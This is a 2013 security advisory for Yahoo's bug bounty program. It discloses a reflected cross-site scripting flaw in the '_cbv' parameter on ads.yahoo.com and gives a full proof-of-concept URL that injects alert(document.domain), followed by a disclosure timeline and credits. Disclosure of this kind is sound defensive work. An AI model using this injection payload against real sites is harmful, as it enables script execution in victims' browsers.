Advisory:		Yahoo Bug Bounty Program Vulnerability #1 XSS on ads.yahoo.com
Advisory ID: 		SSCHADV2013-YahooBB-001
Author: 		Stefan Schurtz
Affected Software: 	Successfully tested on ads.yahoo.com
Vendor URL: 		http://yahoo.com/
Vendor Status: 		Seems to be fixed
Bounty: 		nothing
 
==========================
Vulnerability Description
==========================
 
The '_cbv'-Paramter on "http://ads.yahoo.com" is prone to a Cross-site Scripting vulnerability
 
==========================
PoC-Exploit
==========================
 
http://ads.yahoo.com/st?ad_type=iframe&ad_size=300x250&site=1181425&section_code=112260532&
cb=1385497647.226089&publisher_blob=${RS}|gmGLFTE4OC4mbYnzUpH6dwEQOTMuMlKVBC__yxq4
|2143911627|LREC2|1385497647.226089&yud=smpv%3d3%26ed%3dzxE1dF31xQzMnXQidpJpWNtP
OVygJhcHBknzVCnpTraLTXtt8jO7OEVYpCbxEhJcwmU2x.ekTqffsDUVYgceDTs.NijijL.tGPKwsdRUsLvxftzYGe
.0VUghSSHioqjLjQJ7KaidIocpC1oj2SKC4lg_EhLiMsmgXiq6wbNVL_VzG1fHxP77ptF04VC7jL7lL1vr0iRs.r6
8cRSLiFUFzH_pvnaxUy8-&_msd=1&_xcf=1&_exv=RDnhGI4wnN7uv.jS65VPBVAFmZBbevIBHZGnRIl5vxDV&_msig=10sorm5kd&rmxbkn=0&_cbv=132025816&81c91"-alert(document.domain)-"1580bfdcb31=1

==========================
Disclosure Timeline
==========================

28-Nov-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)
31-Dec-2013 - next message to the Yahoo Securiy Contact
04-Jan-2014 - feedback from vendor
04-Jan-2014 - vendor informed again about the three vulnerabilities
06-Jan-2014 - feedback from vendor
15-Jan-2014 - contact with Jeff Zingler (Threat Response @ Yahoo)
16-Jan-2013 - contact with Jeff Zingler (Threat Response @ Yahoo) // last contact

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-001.txt